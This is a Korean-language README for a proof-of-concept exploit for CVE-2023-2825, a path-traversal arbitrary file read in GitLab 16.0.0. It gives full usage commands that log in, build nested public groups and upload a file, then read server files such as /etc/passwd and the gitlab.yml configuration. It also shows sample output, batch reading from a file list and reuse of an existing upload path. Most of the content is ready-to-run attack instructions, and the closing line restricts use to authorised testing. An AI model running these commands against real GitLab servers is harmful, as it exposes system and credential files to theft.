
CVE-2023-2825용 PoC: 중첩된 공개 그룹과 프로젝트 업로드 경로 탐색, 재사용 가능한 업로드 경로를 통한 GitLab 16.0.0 임의 파일 읽기 자동화 및 깔끔한 CLI 출력.
GitLab CE/EE 16.0.0의 임의 파일 읽기 취약점인 CVE-2023-2825에 대한 개념 증명(PoC)입니다.
이 스크립트는 유효한 GitLab 계정으로 로그인하고, 필요한 공개 중첩 그룹 구조를 생성하고, 공개 프로젝트를 생성하고, 첨부 파일을 업로드한 다음, 취약한 업로드 경로 탐색 동작을 이용해 GitLab 서버에서 대상 파일을 읽습니다.
또한 기존 업로드 경로 재사용을 지원하므로 파일을 읽을 때마다 새 그룹과 프로젝트를 만들 필요가 없습니다.
Python 3.8+
pip install -r requirements.txt
필수 Python 패키지:
beautifulsoup4
requests
urllib3
꺾쇠 괄호(< >)로 묶인 값은 자리 표시자입니다. 이 값을 자신의 값으로 바꾸고 < 또는 > 문자는 포함하지 마세요.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
예시 출력:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
실행이 성공하면 스크립트는 재사용 가능한 업로드 경로를 출력합니다:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
--reuse-path와 함께 사용하면 로그인, 그룹 생성, 프로젝트 생성 및 업로드를 건너뜁니다:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
--url을 생략하고 전체 URL을 전달할 수도 있습니다:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
파일 목록을 생성합니다:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
실행:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Number of nested public groups to create. Default: 11
--depth <N>
Number of traversal segments to use. Default: 12
--reuse-path <PATH_OR_URL>
Existing project upload directory. Skips setup and directly reads files.
--only-final
Hide progress logs and print only file contents.
--no-color
Disable ANSI colors.
--debug
Print the generated traversal path for troubleshooting.
--reuse-path를 사용하세요.이 PoC는 승인된 보안 테스트, 실습 환경 및 취약점 검증을 위해 제작되었습니다. 명시적 허가 없이 시스템에 사용하지 마십시오.